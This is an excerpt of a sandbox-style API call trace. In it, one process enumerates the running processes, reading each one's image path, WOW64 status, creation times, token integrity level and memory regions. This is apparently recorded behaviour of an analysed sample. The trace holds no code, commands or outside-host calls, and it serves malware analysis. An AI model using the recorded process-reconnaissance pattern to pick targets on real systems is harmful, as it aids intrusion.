IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xab0d09 [0094.935] GetSidSubAuthority (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xab0d10 [0094.935] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0094.935] NtClose (Handle=0x2a0) returned 0x0 [0094.935] NtQueryVirtualMemory (in: ProcessHandle=0x194, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0094.935] NtQueryVirtualMemory (in: ProcessHandle=0x194, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0094.947] QueryFullProcessImageNameW (in: hProcess=0x198, dwFlags=0x0, lpExeName=0xab58f0, lpdwSize=0x119fa50 | out: lpExeName="C:\\Program Files\\Windows Photo Viewer\\choosing.exe", lpdwSize=0x119fa50) returned 1 [0094.948] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab58f0) returned 1 [0094.948] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x119fa24 | out: Wow64Process=0x119fa24) returned 1 [0094.948] IsWow64Process (in: hProcess=0x198, Wow64Process=0x119fa34 | out: Wow64Process=0x119fa34) returned 1 [0094.948] NtQueryInformationProcess (in: ProcessHandle=0x198, ProcessInformationClass=0x18, ProcessInformation=0x119fa30, ProcessInformationLength=0x4, ReturnLength=0x119fa34 | out: ProcessInformation=0x119fa30, ReturnLength=0x119fa34) returned 0x0 [0094.948] GetProcessTimes (in: hProcess=0x198, lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58 | out: lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58) returned 1 [0094.948] OpenProcessToken (in: ProcessHandle=0x198, DesiredAccess=0x8, TokenHandle=0x119fa24 | out: TokenHandle=0x119fa24*=0x2a0) returned 1 [0094.948] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x119fa20 | out: TokenInformation=0x0, ReturnLength=0x119fa20) returned 0 [0094.948] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0094.948] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0xab0d00, TokenInformationLength=0x14, ReturnLength=0x119fa20 | out: TokenInformation=0xab0d00, ReturnLength=0x119fa20) returned 1 [0094.948] GetSidSubAuthorityCount (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xab0d09 [0094.948] GetSidSubAuthority (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xab0d10 [0094.949] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0094.949] NtClose (Handle=0x2a0) returned 0x0 [0094.949] NtQueryVirtualMemory (in: ProcessHandle=0x198, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0094.949] NtQueryVirtualMemory (in: ProcessHandle=0x198, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0094.960] QueryFullProcessImageNameW (in: hProcess=0x19c, dwFlags=0x0, lpExeName=0x13649e8, lpdwSize=0x119fa50 | out: lpExeName="C:\\Program Files (x86)\\MSBuild\\bond.exe", lpdwSize=0x119fa50) returned 1 [0094.961] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13649e8) returned 1 [0094.961] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x119fa24 | out: Wow64Process=0x119fa24) returned 1 [0094.961] IsWow64Process (in: hProcess=0x19c, Wow64Process=0x119fa34 | out: Wow64Process=0x119fa34) returned 1 [0094.961] NtQueryInformationProcess (in: ProcessHandle=0x19c, ProcessInformationClass=0x18, ProcessInformation=0x119fa30, ProcessInformationLength=0x4, ReturnLength=0x119fa34 | out: ProcessInformation=0x119fa30, ReturnLength=0x119fa34) returned 0x0 [0094.961] GetProcessTimes (in: hProcess=0x19c, lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58 | out: lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58) returned 1 [0094.961] OpenProcessToken (in: ProcessHandle=0x19c, DesiredAccess=0x8, TokenHandle=0x119fa24 | out: TokenHandle=0x119fa24*=0x2a0) returned 1 [0094.961] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x119fa20 | out: TokenInformation=0x0, ReturnLength=0x119fa20) returned 0 [0094.961] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0094.962] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0xab0d00, TokenInformationLength=0x14, ReturnLength=0x119fa20 | out: TokenInformation=0xab0d00, ReturnLength=0x119fa20) returned 1 [0094.962] GetSidSubAuthorityCount (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xab0d09 [0094.962] GetSidSubAuthority (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xab0d10 [0094.963] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0094.963] NtClose (Handle=0x2a0) returned 0x0 [0094.963] NtQueryVirtualMemory (in: ProcessHandle=0x19c, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0094.963] NtQueryVirtualMemory (in: ProcessHandle=0x19c, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0094.974] QueryFullProcessImageNameW (in: hProcess=0x1a0, dwFlags=0x0, lpExeName=0x13649e8, lpdwSize=0x119fa50 | out: lpExeName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\patch-mit.exe", lpdwSize=0x119fa50) returned 1 [0094.975] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1374e98 [0094.975] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1300008) returned 1 [0094.975] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13649e8) returned 1 [0094.975] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x119fa24 | out: Wow64Process=0x119fa24) returned 1 [0094.975] IsWow64Process (in: hProcess=0x1a0, Wow64Process=0x119fa34 | out: Wow64Process=0x119fa34) returned 1 [0094.975] NtQueryInformationProcess (in: ProcessHandle=0x1a0, ProcessInformationClass=0x18, ProcessInformation=0x119fa30, ProcessInformationLength=0x4, ReturnLength=0x119fa34 | out: ProcessInformation=0x119fa30, ReturnLength=0x119fa34) returned 0x0 [0094.975] GetProcessTimes (in: hProcess=0x1a0, lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58 | out: lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58) returned 1 [0094.976] OpenProcessToken (in: ProcessHandle=0x1a0, DesiredAccess=0x8, TokenHandle=0x119fa24 | out: TokenHandle=0x119fa24*=0x2a0) returned 1 [0094.976] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x119fa20 | out: TokenInformation=0x0, ReturnLength=0x119fa20) returned 0 [0094.976] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0094.976] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0xab0d00, TokenInformationLength=0x14, ReturnLength=0x119fa20 | out: TokenInformation=0xab0d00, ReturnLength=0x119fa20) returned 1 [0094.976] GetSidSubAuthorityCount (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xab0d09 [0094.976] GetSidSubAuthority (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xab0d10 [0094.977] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0094.977] NtClose (Handle=0x2a0) returned 0x0 [0094.977] NtQueryVirtualMemory (in: ProcessHandle=0x1a0, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0094.977] NtQueryVirtualMemory (in: ProcessHandle=0x1a0, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0094.988] QueryFullProcessImageNameW (in: hProcess=0x1a4, dwFlags=0x0, lpExeName=0x1527450, lpdwSize=0x119fa50 | out: lpExeName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\application.exe", lpdwSize=0x119fa50) returned 1 [0094.988] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13750a8 [0094.989] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1300090) returned 1 [0094.989] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1527450) returned 1 [0094.989] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x119fa24 | out: Wow64Process=0x119fa24) returned 1 [0094.989] IsWow64Process (in: hProcess=0x1a4, Wow64Process=0x119fa34 | out: Wow64Process=0x119fa34) returned 1 [0094.990] NtQueryInformationProcess (in: ProcessHandle=0x1a4, ProcessInformationClass=0x18, ProcessInformation=0x119fa30, ProcessInformationLength=0x4, ReturnLength=0x119fa34 | out: ProcessInformation=0x119fa30, ReturnLength=0x119fa34) returned 0x0 [0094.990] GetProcessTimes (in: hProcess=0x1a4, lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58 | out: lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58) returned 1 [0094.990] OpenProcessToken (in: ProcessHandle=0x1a4, DesiredAccess=0x8, TokenHandle=0x119fa24 | out: TokenHandle=0x119fa24*=0x2a0) returned 1 [0094.990] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x119fa20 | out: TokenInformation=0x0, ReturnLength=0x119fa20) returned 0 [0094.990] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0094.990] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0xab0d00, TokenInformationLength=0x14, ReturnLength=0x119fa20 | out: TokenInformation=0xab0d00, ReturnLength=0x119fa20) returned 1 [0094.990] GetSidSubAuthorityCount (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xab0d09 [0094.990] GetSidSubAuthority (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xab0d10 [0094.990] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0094.991] NtClose (Handle=0x2a0) returned 0x0 [0094.991] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0094.991] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0095.003] QueryFullProcessImageNameW (in: hProcess=0x1a8, dwFlags=0x0, lpExeName=0xab6578, lpdwSize=0x119fa50 | out: lpExeName="C:\\Program Files\\Common Files\\infected-boards.exe", lpdwSize=0x119fa50) returned 1 [0095.003] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab6578) returned 1 [0095.003] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x119fa24 | out: Wow64Process=0x119fa24) returned 1 [0095.003] IsWow64Process (in: hProcess=0x1a8, Wow64Process=0x119fa34 | out: Wow64Process=0x119fa34) returned 1 [0095.003] NtQueryInformationProcess (in: ProcessHandle=0x1a8, ProcessInformationClass=0x18, ProcessInformation=0x119fa30, ProcessInformationLength=0x4, ReturnLength=0x119fa34 | out: ProcessInformation=0x119fa30, ReturnLength=0x119fa34) returned 0x0 [0095.003] GetProcessTimes (in: hProcess=0x1a8, lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58 | out: lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58) returned 1 [0095.003] OpenProcessToken (in: ProcessHandle=0x1a8, DesiredAccess=0x8, TokenHandle=0x119fa24 | out: TokenHandle=0x119fa24*=0x2a0) returned 1 [0095.003] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x119fa20 | out: TokenInformation=0x0, ReturnLength=0x119fa20) returned 0 [0095.003] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0095.004] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0xab0d00, TokenInformationLength=0x14, ReturnLength=0x119fa20 | out: TokenInformation=0xab0d00, ReturnLength=0x119fa20) returned 1 [0095.004] GetSidSubAuthorityCount (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xab0d09 [0095.004] GetSidSubAuthority (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xab0d10 [0095.005] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0095.005] NtClose (Handle=0x2a0) returned 0x0 [0095.005] NtQueryVirtualMemory (in: ProcessHandle=0x1a8, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0095.005] NtQueryVirtualMemory (in: ProcessHandle=0x1a8, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0095.016] QueryFullProcessImageNameW (in: hProcess=0x1ac, dwFlags=0x0, lpExeName=0x1528158, lpdwSize=0x119fa50 | out: lpExeName="C:\\Program Files (x86)\\Adobe\\ill-multiple.exe", lpdwSize=0x119fa50) returned 1 [0095.016] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1528158) returned 1 [0095.016] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x119fa24 | out: Wow64Process=0x119fa24) returned 1 [0095.016] IsWow64Process (in: hProcess=0x1ac, Wow64Process=0x119fa34 | out: Wow64Process=0x119fa34) returned 1 [0095.017] NtQueryInformationProcess (in: ProcessHandle=0x1ac, ProcessInformationClass=0x18, ProcessInformation=0x119fa30, ProcessInformationLength=0x4, ReturnLength=0x119fa34 | out: ProcessInformation=0x119fa30, ReturnLength=0x119fa34) returned 0x0 [0095.017] GetProcessTimes (in: hProcess=0x1ac, lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58 | out: lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58) returned 1 [0095.017] OpenProcessToken (in: ProcessHandle=0x1ac, DesiredAccess=0x8, TokenHandle=0x119fa24 | out: TokenHandle=0x119fa24*=0x2a0) returned 1 [0095.017] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x119fa20 | out: TokenInformation=0x0, ReturnLength=0x119fa20) returned 0 [0095.017] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0095.017] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0xab0d00, TokenInformationLength=0x14, ReturnLength=0x119fa20 | out: TokenInformation=0xab0d00, ReturnLength=0x119fa20) returned 1 [0095.017] GetSidSubAuthorityCount (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xab0d09 [0095.017] GetSidSubAuthority (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xab0d10 [0095.018] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0095.018] NtClose (Handle=0x2a0) returned 0x0 [0095.018] NtQueryVirtualMemory (in: ProcessHandle=0x1ac, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0095.018] NtQueryVirtualMemory (in: ProcessHandle=0x1ac, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0095.030] QueryFullProcessImageNameW (in: hProcess=0x1b0, dwFlags=0x0, lpExeName=0x1527450, lpdwSize=0x119fa50 | out: lpExeName="C:\\Program Files\\MSBuild\\accredited viruses fund.exe", lpdwSize=0x119fa50) returned 1 [0095.031] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1527450) returned 1 [0095.031] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x119fa24 | out: Wow64Process=0x119fa24) returned 1 [0095.031] IsWow64Process (in: hProcess=0x1b0, Wow64Process=0x119fa34 | out: Wow64Process=0x119fa34) returned 1 [0095.031] NtQueryInformationProcess (in: ProcessHandle=0x1b0, ProcessInformationClass=0x18, ProcessInformation=0x119fa30, ProcessInformationLength=0x4, ReturnLength=0x119fa34 | out: ProcessInformation=0x119fa30, ReturnLength=0x119fa34) returned 0x0 [0095.031] GetProcessTimes (in: hProcess=0x1b0, lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58 | out: lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58) returned 1 [0095.031] OpenProcessToken (in: ProcessHandle=0x1b0, DesiredAccess=0x8, TokenHandle=0x119fa24 | out: TokenHandle=0x119fa24*=0x2a0) returned 1 [0095.031] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x119fa20 | out: TokenInformation=0x0, ReturnLength=0x119fa20) returned 0 [0095.031] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0095.031] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0xab0d00, TokenInformationLength=0x14, ReturnLength=0x119fa20 | out: TokenInformation=0xab0d00, ReturnLength=0x119fa20) returned 1 [0095.032] GetSidSubAuthorityCount (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xab0d09 [0095.032] GetSidSubAuthority (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xab0d10 [0095.032] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0095.032] NtClose (Handle=0x2a0) returned 0x0 [0095.032] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0095.032] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0095.044] QueryFullProcessImageNameW (in: hProcess=0x1b4, dwFlags=0x0, lpExeName=0x1527450, lpdwSize=0x119fa50 | out: lpExeName="C:\\Program Files (x86)\\Windows Media Player\\recognize labels.exe", lpdwSize=0x119fa50) returned 1 [0095.045] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13755d0 [0095.045] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1300228) returned 1 [0095.045] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1527450) returned 1 [0095.045] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x119fa24 | out: Wow64Process=0x119fa24) returned 1 [0095.045] IsWow64Process (in: hProcess=0x1b4, Wow64Process=0x119fa34 | out: Wow64Process=0x119fa34) returned 1 [0095.045] NtQueryInformationProcess (in: ProcessHandle=0x1b4, ProcessInformationClass=0x18, ProcessInformation=0x119fa30, ProcessInformationLength=0x4, ReturnLength=0x119fa34 | out: ProcessInformation=0x119fa30, ReturnLength=0x119fa34) returned 0x0 [0095.045] GetProcessTimes (in: hProcess=0x1b4, lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58 | out: lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58) returned 1 [0095.045] OpenProcessToken (in: ProcessHandle=0x1b4, DesiredAccess=0x8, TokenHandle=0x119fa24 | out: TokenHandle=0x119fa24*=0x2a0) returned 1 [0095.045] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x119fa20 | out: TokenInformation=0x0, ReturnLength=0x119fa20) returned 0 [0095.046] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0095.046] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0xab0d00, TokenInformationLength=0x14, ReturnLength=0x119fa20 | out: TokenInformation=0xab0d00, ReturnLength=0x119fa20) returned 1 [0095.046] GetSidSubAuthorityCount (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xab0d09 [0095.046] GetSidSubAuthority (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xab0d10 [0095.047] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0095.047] NtClose (Handle=0x2a0) returned 0x0 [0095.047] NtQueryVirtualMemory (in: ProcessHandle=0x1b4, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0095.047] NtQueryVirtualMemory (in: ProcessHandle=0x1b4, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 